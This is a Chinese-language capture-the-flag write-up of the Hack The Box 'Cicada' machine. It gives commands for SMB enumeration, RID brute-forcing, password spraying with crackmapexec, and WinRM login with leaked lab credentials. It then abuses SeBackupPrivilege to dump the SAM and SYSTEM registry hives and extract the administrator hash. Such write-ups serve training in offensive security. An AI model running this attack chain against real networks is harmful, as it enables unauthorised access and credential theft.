HTB打靶记录-Cicada

Nmap Scan

nmap扫描一下ip

nmap -sT -sV -O -Pn 10.10.11.35

Nmap scan report for 10.10.11.35
Host is up (0.012s latency).
Not shown: 989 filtered tcp ports (no-response), 1 filtered tcp ports (host-unreach)
PORT    STATE SERVICE       VERSION
25/tcp  open  smtp?
53/tcp  open  domain        Simple DNS Plus
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-14 16:35:48Z)
110/tcp open  pop3?
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
464/tcp open  kpasswd5?
593/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running: Microsoft Windows XP|7|2012, VMware Player
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012 cpe:/a:vmware:player
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 406.91 seconds

smb测试

开放445端口，smbclient连一下

smbclient -L //10.10.11.35

免密登录查看一下HR文件夹

smbclient -N //10.10.11.35/HR

将"Notice from HR.txt"下载下来

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

得到一个密码：Cicada$M6Corpb*@Lp#nZp!8

Rid爆破

通过使用默认账户guest爆破rid来探测存在的用户名，这里过滤一下用户

crackmapexec smb 10.10.11.35 -u "guest" -p "" --rid-brute|grep "SidTypeUser"

sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

爆破一下用户

crackmapexec smb 10.10.11.35 -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

得到用户密码: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

enum4linux-ng扫描

使用enum4linux-ng搜集所有与smb服务有关的信息

enum4linux-ng -A -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10

得到用户密码: david.orelious:aRt$Lp#7t*VQ!3

连接DEV文件夹

smbclient //10.10.11.35/DEV -U 'david.orelious'

下载Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

用户密码:emily.oscars:Q!3@Lp#M6b*7t*Vt

winrm登录

evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35

whoami /all发现开启了SeBackupPrivilege，emily.oscars属于Backup Operators组，说明可以从注册表导出文件，在temp目录下导出sam文件（卡成儿子了

reg save hklm\sam sam.hive
reg save hklm\system system.hive

download sam.hive
download system.hive

卡了半天都没下下来，总之下下来，secretsdumps.py解密拿到administrator的hash，再用evil-winrm登录拿到root.txt